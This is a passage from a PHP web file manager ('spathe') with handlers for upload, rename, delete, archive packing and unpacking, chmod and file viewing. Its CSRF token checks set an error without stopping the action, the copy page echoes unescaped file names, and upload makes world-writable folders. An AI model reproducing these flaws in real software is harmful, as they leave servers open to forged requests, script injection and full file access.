}
}
if ($errors == 0) {
$msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied';
fm_set_msg($msg);
} else {
$msg = $move ? 'Error while moving items' : 'Error while copying items';
fm_set_msg($msg, 'error');
}
} else {
fm_set_msg(lng('Nothing selected'), 'alert');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
// Rename
if (isset($_POST['rename_from'], $_POST['rename_to'], $_POST['token']) and !FM_READONLY) {
if(!verifyToken($_POST['token'])) {
fm_set_msg("Invalid Token.", 'error');
}
// old name
$old = urldecode($_POST['rename_from']);
$old = fm_clean_path($old);
$old = str_replace('/', '', $old);
// new name
$new = urldecode($_POST['rename_to']);
$new = fm_clean_path(strip_tags($new));
$new = str_replace('/', '', $new);
// path
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
// rename
if (fm_isvalid_filename($new) and $old != '' and $new != '') {
if (fm_rename($path . '/' . $old, $path . '/' . $new)) {
fm_set_msg(sprintf(lng('Renamed from').' <b>%s</b> '. lng('to').' <b>%s</b>', fanco($old), fanco($new)));
} else {
fm_set_msg(sprintf(lng('Error while renaming from').' <b>%s</b> '. lng('to').' <b>%s</b>', fanco($old), fanco($new)), 'error');
}
} else {
fm_set_msg(lng('Invalid characters in file name'), 'error');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
// Download
if (isset($_GET['dl'], $_POST['token'])) {
if(!verifyToken($_POST['token'])) {
fm_set_msg("Invalid Token.", 'error');
}
$dl = urldecode($_GET['dl']);
$dl = fm_clean_path($dl);
$dl = str_replace('/', '', $dl);
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
if ($dl != '' and is_file($path . '/' . $dl)) {
fm_download_file($path . '/' . $dl, $dl, 1024);
exit;
} else {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
}
// Upload
if (!empty($_FILES) and !FM_READONLY) {
if(isset($_POST['token'])) {
if(!verifyToken($_POST['token'])) {
$response = array ('status' => 'error','info' => "Invalid Token.");
echo json_encode($response); exit();
}
} else {
$response = array ('status' => 'error','info' => "Token Missing.");
echo json_encode($response); exit();
}
$chunkIndex = $_POST['dzchunkindex'];
$chunkTotal = $_POST['dztotalchunkcount'];
$fullPathInput = fm_clean_path($_REQUEST['fullpath']);
$f = $_FILES;
$path = FM_ROOT_PATH;
$ds = DIRECTORY_SEPARATOR;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
$errors = 0;
$uploads = 0;
$allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
$response = array (
'status' => 'error',
'info' => 'Oops! Try again'
);
$filename = $f['file']['name'];
$tmp_name = $f['file']['tmp_name'];
$ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : '';
$isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;
if(!fm_isvalid_filename($filename) and !fm_isvalid_filename($fullPathInput)) {
$response = array (
'status' => 'error',
'info' => "Invalid File name!",
);
echo json_encode($response); exit();
}
$targetPath = $path . $ds;
if ( is_writable($targetPath) ) {
$fullPath = $path . '/' . $fullPathInput;
$folder = substr($fullPath, 0, strrpos($fullPath, "/"));
if (!is_dir($folder)) {
$old = umask(0);
mkdir($folder, 0777, true);
umask($old);
}
if (empty($f['file']['error']) and !empty($tmp_name) and $tmp_name != 'none' and $isFileAllowed) {
if ($chunkTotal){
$out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab");
if ($out) {
$in = @fopen($tmp_name, "rb");
if ($in) {
if (PHP_VERSION_ID < 80009) {
do {
for (;;) {
$buff = fread($in, 4096);
if ($buff === false || $buff === '') {
break;
}
fwrite($out, $buff);
}
} while (!feof($in));
} else {
stream_copy_to_stream($in, $out);
}
$response = array (
'status' => 'success',
'info' => "file upload successful"
);
} else {
$response = array (
'status' => 'error',
'info' => "failed to open output stream",
'errorDetails' => error_get_last()
);
}
@fclose($in);
@fclose($out);
@unlink($tmp_name);
$response = array (
'status' => 'success',
'info' => "file upload successful"
);
} else {
$response = array (
'status' => 'error',
'info' => "failed to open output stream"
);
}
if ($chunkIndex == $chunkTotal - 1) {
if (file_exists ($fullPath)) {
$ext_1 = $ext ? '.'.$ext : '';
$fullPathTarget = $path . '/' . basename($fullPathInput, $ext_1) .'_'. date('ymdHis'). $ext_1;
} else {
$fullPathTarget = $fullPath;
}
rename("{$fullPath}.part", $fullPathTarget);
}
} else {
if (rename($tmp_name, $fullPath)) {
if ( file_exists($fullPath) ) {
$response = array (
'status' => 'success',
'info' => "file upload successful"
);
} else {
$response = array (
'status' => 'error',
'info' => 'Couldn\'t upload the requested file.'
);
}
} else {
$response = array (
'status' => 'error',
'info' => "Error while uploading files. Uploaded files $uploads",
);
}
}
}
} else {
$response = array (
'status' => 'error',
'info' => 'The specified folder for upload isn\'t writeable.'
);
}
// Return the response
echo json_encode($response);
exit();
}
if (isset($_POST['group'], $_POST['delete'], $_POST['token']) and !FM_READONLY) {
if(!verifyToken($_POST['token'])) {
fm_set_msg(lng("Invalid Token."), 'error');
}
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
$errors = 0;
$files = $_POST['file'];
if (is_array($files) and count($files)) {
foreach ($files as $f) {
if ($f != '') {
$new_path = $path . '/' . $f;
if (!fm_rdelete($new_path)) {
$errors++;
}
}
}
if ($errors == 0) {
fm_set_msg(lng('Selected files and folder deleted'));
} else {
fm_set_msg(lng('Error while deleting items'), 'error');
}
} else {
fm_set_msg(lng('Nothing selected'), 'alert');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
if (isset($_POST['group'], $_POST['token']) and (isset($_POST['zip']) || isset($_POST['tar'])) and !FM_READONLY) {
if(!verifyToken($_POST['token'])) {
fm_set_msg(lng("Invalid Token."), 'error');
}
$path = FM_ROOT_PATH;
$ext = 'zip';
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
//set pack type
$ext = isset($_POST['tar']) ? 'tar' : 'zip';
if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) {
fm_set_msg(lng('Operations with archives are not available'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
$files = $_POST['file'];
$sanitized_files = array();
// clean path
foreach($files as $file){
array_push($sanitized_files, fm_clean_path($file));
}
$files = $sanitized_files;
if (!empty($files)) {
chdir($path);
if (count($files) == 1) {
$one_file = reset($files);
$one_file = basename($one_file);
$zipname = $one_file . '_' . date('ymd_His') . '.'.$ext;
} else {
$zipname = 'archive_' . date('ymd_His') . '.'.$ext;
}
if($ext == 'zip') {
$zipper = new FM_Zipper();
$res = $zipper->create($zipname, $files);
} elseif ($ext == 'tar') {
$tar = new FM_Zipper_Tar();
$res = $tar->create($zipname, $files);
}
if ($res) {
fm_set_msg(sprintf(lng('Archive').' <b>%s</b> '.lng('Created'), fanco($zipname)));
} else {
fm_set_msg(lng('Archive not created'), 'error');
}
} else {
fm_set_msg(lng('Nothing selected'), 'alert');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
// Unpack zip, tar
if (isset($_POST['unzip'], $_POST['token']) and !FM_READONLY) {
if(!verifyToken($_POST['token'])) {
fm_set_msg(lng("Invalid Token."), 'error');
}
$unzip = urldecode($_POST['unzip']);
$unzip = fm_clean_path($unzip);
$unzip = str_replace('/', '', $unzip);
$isValid = false;
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
if ($unzip != '' and is_file($path . '/' . $unzip)) {
$zip_path = $path . '/' . $unzip;
$ext = pathinfo($zip_path, PATHINFO_EXTENSION);
$isValid = true;
} else {
fm_set_msg(lng('File not found'), 'error');
}
if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) {
fm_set_msg(lng('Operations with archives are not available'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
if ($isValid) {
//to folder
$tofolder = '';
if (isset($_POST['tofolder'])) {
$tofolder = pathinfo($zip_path, PATHINFO_FILENAME);
if (fm_mkdir($path . '/' . $tofolder, true)) {
$path .= '/' . $tofolder;
}
}
if($ext == "zip") {
$zipper = new FM_Zipper();
$res = $zipper->unzip($zip_path, $path);
} elseif ($ext == "tar") {
try {
$gzipper = new PharData($zip_path);
if (@$gzipper->extractTo($path,null, true)) {
$res = true;
} else {
$res = false;
}
} catch (Exception $e) {
$res = true;
}
}
if ($res) {
fm_set_msg(lng('Archive unpacked'));
} else {
fm_set_msg(lng('Archive not unpacked'), 'error');
}
} else {
fm_set_msg(lng('File not found'), 'error');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
if (isset($_POST['chmod'], $_POST['token']) and !FM_READONLY and !FM_IS_WIN) {
if(!verifyToken($_POST['token'])) {
fm_set_msg(lng("Invalid Token."), 'error');
}
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
$file = $_POST['chmod'];
$file = fm_clean_path($file);
$file = str_replace('/', '', $file);
if ($file == '' || (!is_file($path . '/' . $file) and !is_dir($path . '/' . $file))) {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
$mode = 0;
if (!empty($_POST['ur'])) {
$mode |= 0400;
}
if (!empty($_POST['uw'])) {
$mode |= 0200;
}
if (!empty($_POST['ux'])) {
$mode |= 0100;
}
if (!empty($_POST['gr'])) {
$mode |= 0040;
}
if (!empty($_POST['gw'])) {
$mode |= 0020;
}
if (!empty($_POST['gx'])) {
$mode |= 0010;
}
if (!empty($_POST['or'])) {
$mode |= 0004;
}
if (!empty($_POST['ow'])) {
$mode |= 0002;
}
if (!empty($_POST['ox'])) {
$mode |= 0001;
}
if (@chmod($path . '/' . $file, $mode)) {
fm_set_msg(lng('Permissions changed'));
} else {
fm_set_msg(lng('Permissions not changed'), 'error');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
if (!is_dir($path)) {
fm_redirect(FM_SELF_URL . '?p=');
}
$parent = fm_get_parent_path(FM_PATH);
$objects = is_readable($path) ? scandir($path) : array();
$folders = array();
$files = array();
$current_path = array_slice(explode("/",$path), -1)[0];
if (is_array($objects) and fm_is_exclude_items($current_path)) {
foreach ($objects as $file) {
if ($file == '.' || $file == '..') {
continue;
}
if (!FM_SHOW_HIDDEN and substr($file, 0, 1) === '.') {
continue;
}
$new_path = $path . '/' . $file;
if (@is_file($new_path) and fm_is_exclude_items($file)) {
$files[] = $file;
} elseif (@is_dir($new_path) and $file != '.' and $file != '..' and fm_is_exclude_items($file)) {
$folders[] = $file;
}
}
}
if (!empty($files)) {
natcasesort($files);
}
if (!empty($folders)) {
natcasesort($folders);
}
if (isset($_GET['upload']) and !FM_READONLY) {
fm_show_header();
fm_show_nav_path(FM_PATH);
function getUploadExt() {
$extArr = explode(',', FM_UPLOAD_EXTENSION);
if(FM_UPLOAD_EXTENSION and $extArr) {
array_walk($extArr, function(&$x) {$x = ".$x";});
return implode(',', $extArr);
}
return '';
}
?>
<?php print_external('css-dropzone'); ?>
<div class="path">
<div class="card mb-2 fm-upload-wrapper <?php echo fm_get_theme(); ?>">
<div class="card-header">
<ul class="nav nav-tabs card-header-tabs">
<li class="nav-item">
<a class="nav-link active" href="#fileUploader" data-target="#fileUploader"><i class="fa fa-arrow-circle-o-up"></i> <?php echo lng('UploadingFiles') ?></a>
</li>
<li class="nav-item">
<a class="nav-link" href="#urlUploader" class="js-url-upload" data-target="#urlUploader"><i class="fa fa-link"></i> <?php echo lng('Upload from URL') ?></a>
</li>
</ul>
</div>
<div class="card-body">
<p class="card-text">
<a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back')?></a>
<strong><?php echo lng('DestinationFolder') ?></strong>: <?php echo fanco(fm_convert_win(FM_PATH)) ?>
</p>
<form action="<?php echo htmlspecialchars(FM_SELF_URL) . '?p=' . fanco(FM_PATH) ?>" class="dropzone card-tabs-container" id="fileUploader" enctype="multipart/form-data">
<input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
<input type="hidden" name="fullpath" id="fullpath" value="<?php echo fanco(FM_PATH) ?>">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<div class="fallback">
<input name="file" type="file" multiple/>
</div>
</form>
<div class="upload-url-wrapper card-tabs-container hidden" id="urlUploader">
<form id="js-form-url-upload" class="row row-cols-lg-auto g-3 align-items-center" onsubmit="return upload_from_url(this);" method="POST" action="">
<input type="hidden" name="type" value="upload" aria-label="hidden" aria-hidden="true">
<input type="url" placeholder="URL" name="uploadurl" required class="form-control" style="width: 80%">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<button type="submit" class="btn btn-primary ms-3"><?php echo lng('Upload') ?></button>
<div class="lds-facebook"><div></div><div></div><div></div></div>
</form>
<div id="js-url-upload__list" class="col-9 mt-3"></div>
</div>
</div>
</div>
</div>
<?php print_external('js-dropzone'); ?>
<script>
Dropzone.options.fileUploader = {
chunking: true,
chunkSize: <?php echo UPLOAD_CHUNK_SIZE; ?>,
forceChunking: true,
retryChunks: true,
retryChunksLimit: 3,
parallelUploads: 1,
parallelChunkUploads: false,
timeout: 120000,
maxFilesize: "<?php echo MAX_UPLOAD_SIZE; ?>",
acceptedFiles : "<?php echo getUploadExt() ?>",
init: function () {
this.on("sending", function (file, xhr, formData) {
let _path = (file.fullPath) ? file.fullPath : file.name;
document.getElementById("fullpath").value = _path;
xhr.ontimeout = (function() {
toast('Error: Server Timeout');
});
}).on("success", function (res) {
try {
let _response = JSON.parse(res.xhr.response);
if(_response.status == "error") {
toast(_response.info);
}
} catch (e) {
toast("Error: Invalid JSON response");
}
}).on("error", function(file, response) {
toast(response);
});
}
}
</script>
<?php
fm_show_footer();
exit;
}
if (isset($_POST['copy']) and !FM_READONLY) {
$copy_files = isset($_POST['file']) ? $_POST['file'] : null;
if (!is_array($copy_files) || empty($copy_files)) {
fm_set_msg(lng('Nothing selected'), 'alert');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
?>
<div class="path">
<div class="card <?php echo fm_get_theme(); ?>">
<div class="card-header">
<h6><?php echo lng('Copying') ?></h6>
</div>
<div class="card-body">
<form action="" method="post">
<input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
<input type="hidden" name="finish" value="1">
<?php
foreach ($copy_files as $cf) {
echo '<input type="hidden" name="file[]" value="' . fanco($cf) . '">' . PHP_EOL;
}
?>
<p class="break-word"><strong><?php echo lng('Files') ?></strong>: <b><?php echo implode('</b>, <b>', $copy_files) ?></b></p>
<p class="break-word"><strong><?php echo lng('SourceFolder') ?></strong>: <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?><br>
<label for="inp_copy_to"><strong><?php echo lng('DestinationFolder') ?></strong>:</label>
<?php echo FM_ROOT_PATH ?>/<input type="text" name="copy_to" id="inp_copy_to" value="<?php echo fanco(FM_PATH) ?>">
</p>
<p class="custom-checkbox custom-control"><input type="checkbox" name="move" value="1" id="js-move-files" class="custom-control-input"><label for="js-move-files" class="custom-control-label ms-2"> <?php echo lng('Move') ?></label></p>
<p>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-danger"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Copy') ?></button>
</p>
</form>
</div>
</div>
</div>
<?php
fm_show_footer();
exit;
}
if (isset($_GET['copy']) and !isset($_GET['finish']) and !FM_READONLY) {
$copy = $_GET['copy'];
$copy = fm_clean_path($copy);
if ($copy == '' || !file_exists(FM_ROOT_PATH . '/' . $copy)) {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
fm_show_header();
fm_show_nav_path(FM_PATH);
?>
<div class="path">
<p><b>Copying</b></p>
<p class="break-word">
<strong>Source path:</strong> <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . $copy)) ?><br>
<strong>Destination folder:</strong> <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?>
</p>
<p>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode($copy) ?>&finish=1"><i class="fa fa-check-circle"></i> Copy</a></b>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode($copy) ?>&finish=1&move=1"><i class="fa fa-check-circle"></i> Move</a></b>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="text-danger"><i class="fa fa-times-circle"></i> Cancel</a></b>
</p>
<p><i><?php echo lng('Select folder') ?></i></p>
<ul class="folders break-word">
<?php
if ($parent !== false) {
?>
<li><a href="?p=<?php echo urlencode($parent) ?>&copy=<?php echo urlencode($copy) ?>"><i class="fa fa-chevron-circle-left"></i> ..</a></li>
<?php
}
foreach ($folders as $f) {
?>
<li>
<a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>&copy=<?php echo urlencode($copy) ?>"><i class="fa fa-folder-o"></i> <?php echo fm_convert_win($f) ?></a></li>
<?php
}
?>
</ul>
</div>
<?php
fm_show_footer();
exit;
}
if (isset($_GET['settings']) and !FM_READONLY) {
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
global $cfg, $lang, $lang_list;
?>
<div class="col-md-8 offset-md-2 pt-3">
<div class="card mb-2 <?php echo fm_get_theme(); ?>">
<h6 class="card-header d-flex justify-content-between">
<span><i class="fa fa-cog"></i> <?php echo lng('Settings') ?></span>
<a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng('Cancel')?></a>
</h6>
<div class="card-body">
<form id="js-settings-form" action="" method="post" data-type="ajax" onsubmit="return save_settings(this)">
<input type="hidden" name="type" value="settings" aria-label="hidden" aria-hidden="true">
<div class="form-group row">
<label for="js-language" class="col-sm-3 col-form-label"><?php echo lng('Language') ?></label>
<div class="col-sm-5">
<select class="form-select" id="js-language" name="js-language">
<?php
function getSelected($l) {
global $lang;
return ($lang == $l) ? 'selected' : '';
}
foreach ($lang_list as $k => $v) {
echo "<option value='$k' ".getSelected($k).">$v</option>";
}
?>
</select>
</div>
</div>
<div class="mt-3 mb-3 row ">
<label for="js-error-report" class="col-sm-3 col-form-label"><?php echo lng('ErrorReporting') ?></label>
<div class="col-sm-9">
<div class="form-check form-switch">
<input class="form-check-input" type="checkbox" role="switch" id="js-error-report" name="js-error-report" value="true" <?php echo $report_errors ? 'checked' : ''; ?> />
</div>
</div>
</div>
<div class="mb-3 row">
<label for="js-show-hidden" class="col-sm-3 col-form-label"><?php echo lng('ShowHiddenFiles') ?></label>
<div class="col-sm-9">
<div class="form-check form-switch">
<input class="form-check-input" type="checkbox" role="switch" id="js-show-hidden" name="js-show-hidden" value="true" <?php echo $show_hidden_files ? 'checked' : ''; ?> />
</div>
</div>
</div>
<div class="mb-3 row">
<label for="js-hide-cols" class="col-sm-3 col-form-label"><?php echo lng('HideColumns') ?></label>
<div class="col-sm-9">
<div class="form-check form-switch">
<input class="form-check-input" type="checkbox" role="switch" id="js-hide-cols" name="js-hide-cols" value="true" <?php echo $hide_Cols ? 'checked' : ''; ?> />
</div>
</div>
</div>
<div class="mb-3 row">
<label for="js-3-1" class="col-sm-3 col-form-label"><?php echo lng('Theme') ?></label>
<div class="col-sm-5">
<select class="form-select w-100" id="js-3-0" name="js-theme-3">
<option value='light' <?php if($theme == "light"){echo "selected";} ?>><?php echo lng('light') ?></option>
<option value='dark' <?php if($theme == "dark"){echo "selected";} ?>><?php echo lng('dark') ?></option>
</select>
</div>
</div>
<div class="mb-3 row">
<div class="col-sm-10">
<button type="submit" class="btn btn-success"> <i class="fa fa-check-circle"></i> <?php echo lng('Save'); ?></button>
</div>
</div>
</form>
</div>
</div>
</div>
<?php
fm_show_footer();
exit;
}
if (isset($_GET['help'])) {
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
global $cfg, $lang;
?>
<div class="col-md-8 offset-md-2 pt-3">
<div class="card mb-2 <?php echo fm_get_theme(); ?>">
<h6 class="card-header d-flex justify-content-between">
<span><i class="fa fa-exclamation-circle"></i> <?php echo lng('Help') ?></span>
<a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng('Cancel')?></a>
</h6>
<div class="card-body">
<div class="row">
<div class="col-xs-12 col-sm-6">
<p><h3><a href="." target="_blank" class="app-v-title"> spathe <?php echo VERSION; ?></a></h3></p>
</div>
<div class="col-xs-12 col-sm-6">
<div class="card">
<ul class="list-group list-group-flush">
<li class="list-group-item"><a href="." target="_blank"><i class="fa fa-question-circle"></i> <?php echo lng('Help Documents') ?> </a> </li>
<li class="list-group-item"><a href="." target="_blank"><i class="fa fa-bug"></i> <?php echo lng('Report Issue') ?></a></li>
<?php if(!FM_READONLY) { ?>
<li class="list-group-item"><a href="javascript:show_new_pwd();"><i class="fa fa-lock"></i> <?php echo lng('Generate new password hash') ?></a></li>
<?php } ?>
</ul>
</div>
</div>
</div>
<div class="row js-new-pwd hidden mt-2">
<div class="col-12">
<form class="form-inline" onsubmit="return new_password_hash(this)" method="POST" action="">
<input type="hidden" name="type" value="pwdhash" aria-label="hidden" aria-hidden="true">
<div class="form-group mb-2">
<label for="staticEmail2"><?php echo lng('Generate new password hash') ?></label>
</div>
<div class="form-group mx-sm-3 mb-2">
<label for="inputPassword2" class="sr-only"><?php echo lng('Password') ?></label>
<input type="text" class="form-control btn-sm" id="inputPassword2" name="inputPassword2" placeholder="<?php echo lng('Password') ?>" required>
</div>
<button type="submit" class="btn btn-success btn-sm mb-2"><?php echo lng('Generate') ?></button>
</form>
<textarea class="form-control" rows="2" readonly id="js-pwd-result"></textarea>
</div>
</div>
</div>
</div>
</div>
<?php
fm_show_footer();
exit;
}
if (isset($_GET['view'])) {
$file = $_GET['view'];
$file = fm_clean_path($file, false);
$file = str_replace('/', '', $file);
if ($file == '' || !is_file($path . '/' . $file) || !fm_is_exclude_items($file)) {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
$file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
$file_path = $path . '/' . $file;
$ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
$mime_type = fm_get_mime_type($file_path);
$filesize_raw = fm_get_size($file_path);
$filesize = fm_get_filesize($filesize_raw);
$is_zip = false;
$is_gzip = false;
$is_image = false;
$is_audio = false;
$is_video = false;
$is_text = false;
$is_onlineViewer = false;
$view_title = 'File';
$filenames = false; // for zip
$content = ''; // for text
$online_viewer = strtolower(FM_DOC_VIEWER);
if($online_viewer and $online_viewer !== 'false' and in_array($ext, fm_get_onlineViewer_exts())){
$is_onlineViewer = true;
}
elseif ($ext == 'zip' || $ext == 'tar') {
$is_zip = true;
$view_title = 'Archive';
$filenames = fm_get_zif_info($file_path, $ext);
} elseif (in_array($ext, fm_get_image_exts())) {
$is_image = true;
$view_title = 'Image';
} elseif (in_array($ext, fm_get_audio_exts())) {
$is_audio = true;
$view_title = 'Audio';
} elseif (in_array($ext, fm_get_video_exts())) {
$is_video = true;
$view_title = 'Video';
} elseif (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
$is_text = true;
$content = file_get_contents($file_path);
}
?>
<div class="row">
<div class="col-12">
<p class="break-word"><b><?php echo lng($view_title) ?> "<?php echo fanco(fm_convert_win($file)) ?>"</b></p>
<p class="break-word">
<?php $display_path = fm_get_display_path($file_path); ?>
<strong><?php echo $display_path['label']; ?>:</strong> <?php echo $display_path['path']; ?><br>
<strong>File size:</strong> <?php echo ($filesize_raw <= 1000) ? "$filesize_raw bytes" : $filesize; ?><br>
<strong>MIME-type:</strong> <?php echo $mime_type ?><br>
<?php
// ZIP info
if (($is_zip || $is_gzip) and $filenames !== false) {
$total_files = 0;
$total_comp = 0;
$total_uncomp = 0;
foreach ($filenames as $fn) {
if (!$fn['folder']) {
$total_files++;
}
$total_comp += $fn['compressed_size'];
$total_uncomp += $fn['filesize'];
}
?>
<?php echo lng('Files in archive') ?>: <?php echo $total_files ?><br>
<?php echo lng('Total size') ?>: <?php echo fm_get_filesize($total_uncomp) ?><br>
<?php echo lng('Size in archive') ?>: <?php echo fm_get_filesize($total_comp) ?><br>
<?php echo lng('Compression') ?>: <?php echo round(($total_comp / max($total_uncomp, 1)) * 100) ?>%<br>
<?php
}
// Image info
if ($is_image) {
$image_size = getimagesize($file_path);
echo '<strong>'.lng('Image size').':</strong> ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '<br>';
}
// Text info
if ($is_text) {
$is_utf8 = fm_is_utf8($content);
if (function_exists('iconv')) {
if (!$is_utf8) {
$content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content);
}
}
echo '<strong>'.lng('Charset').':</strong> ' . ($is_utf8 ? 'utf-8' : '8 bit') . '<br>';
}
?>
</p>
<div class="d-flex align-items-center mb-3">
<form method="post" class="d-inline ms-2" action="?p=<?php echo urlencode(FM_PATH) ?>&dl=<?php echo urlencode($file) ?>">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<button type="submit" class="btn btn-link text-decoration-none fw-bold p-0"><i class="fa fa-cloud-download"></i> <?php echo lng('Download') ?></button>
</form>
<b class="ms-2"><a href="<?php echo fanco($file_url) ?>" target="_blank"><i class="fa fa-external-link-square"></i> <?php echo lng('Open') ?></a></b>
<?php
// ZIP actions
if (!FM_READONLY and ($is_zip || $is_gzip) and $filenames !== false) {
$zip_name = pathinfo($file_path, PATHINFO_FILENAME);
?>
<form method="post" class="d-inline ms-2">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>">
<button type="submit" class="btn btn-link text-decoration-none fw-bold p-0" style="font-size: 14px;"><i class="fa fa-check-circle"></i> <?php echo lng('UnZip') ?></button>
</form>
<form method="post" class="d-inline ms-2">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>">
<input type="hidden" name="tofolder" value="1">
<button type="submit" class="btn btn-link text-decoration-none fw-bold p-0" style="font-size: 14px;" title="UnZip to <?php echo fanco($zip_name) ?>"><i class="fa fa-check-circle"></i> <?php echo lng('UnZipToFolder') ?></button>
</form>
<?php
}
if ($is_text and !FM_READONLY) {
?>
<b class="ms-2"><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>" class="edit-file"><i class="fa fa-pencil-square"></i> <?php echo lng('Edit') ?>
</a></b>
<b class="ms-2"><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>&env=ace"
class="edit-file"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?>
</a></b>
<?php } ?>
<b class="ms-2"><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back') ?></a></b>
</div>
<?php
if($is_onlineViewer) {
if($online_viewer == 'google') {
echo '<iframe src="https://docs.google.com/viewer?embedded=true&hl=en&url=' . fanco($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
} else if($online_viewer == 'microsoft') {
echo '<iframe src="https://view.officeapps.live.com/op/embed.aspx?src=' . fanco($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
}
} elseif ($is_zip) {
// ZIP content
if ($filenames !== false) {
echo '<code class="maxheight">';
foreach ($filenames as $fn) {
if ($fn['folder']) {
echo '<b>' . fanco($fn['name']) . '</b><br>';
} else {
echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')<br>';
}
}
echo '</code>';
} else {
echo '<p>'.lng('Error while fetching archive info').'</p>';
}
} elseif ($is_image) {
// Image content
if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) {
echo '<p><input type="checkbox" id="preview-img-zoomCheck"><label for="preview-img-zoomCheck"><img src="' . fanco($file_url) . '" alt="image" class="preview-img"></label></p>';
}
} elseif ($is_audio) {
// Audio content
echo '<p><audio src="' . fanco($file_url) . '" controls preload="metadata"></audio></p>';
} elseif ($is_video) {
// Video content
